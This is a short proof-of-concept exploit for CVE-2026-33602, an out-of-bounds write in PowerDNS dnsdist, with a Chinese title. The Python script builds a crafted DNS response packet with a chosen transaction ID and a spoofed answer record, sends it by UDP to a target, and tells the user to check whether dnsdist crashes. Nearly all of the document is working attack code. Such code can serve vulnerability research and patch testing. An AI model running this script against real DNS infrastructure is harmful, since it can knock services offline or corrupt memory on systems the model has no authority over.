CVE-2026-33602 PowerDNS dnsdist越界写漏洞

import socket import struct # PoC for CVE-2026-33602: PowerDNS dnsdist Out-of-bounds Write # This script sends a crafted UDP response to trigger the off-by-one vulnerability. # Note: You need to know the target's configuration for max-outstanding to set the correct ID. TARGET_IP = "127.0.0.1" TARGET_PORT = 5353 # Default dnsdist port might vary # Constructing the malicious DNS response packet # Transaction ID: In a real attack, this should be (max_configured_value + 1) # For demonstration, we use 0xFFFF which might trigger boundary checks if max is close. transaction_id = 0xFFFF # DNS Header flags = 0x8180 # Standard response, recursion available questions = 1 answer_rrs = 1 authority_rrs = 0 additional_rrs = 0 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question Section (dummy) qname = b"\x03www\x07example\x03com\x00" qtype = 1 # A Record qclass = 1 # IN question = qname + struct.pack("!HH", qtype, qclass) # Answer Section answer_name = 0xC00C # Pointer to qname answer_type = 1 answer_class = 1 answer_ttl = 3600 answer_len = 4 answer_data = b"\x01\x02\x03\x04" # Spoofed IP answer = struct.pack("!HHHIH", answer_name, answer_type, answer_class, answer_ttl, answer_len) + answer_data payload = header + question + answer try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print(f"[+] Malicious packet sent to {TARGET_IP}:{TARGET_PORT} with Transaction ID: {hex(transaction_id)}") print("[+] Check if dnsdist crashes or becomes unresponsive.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close()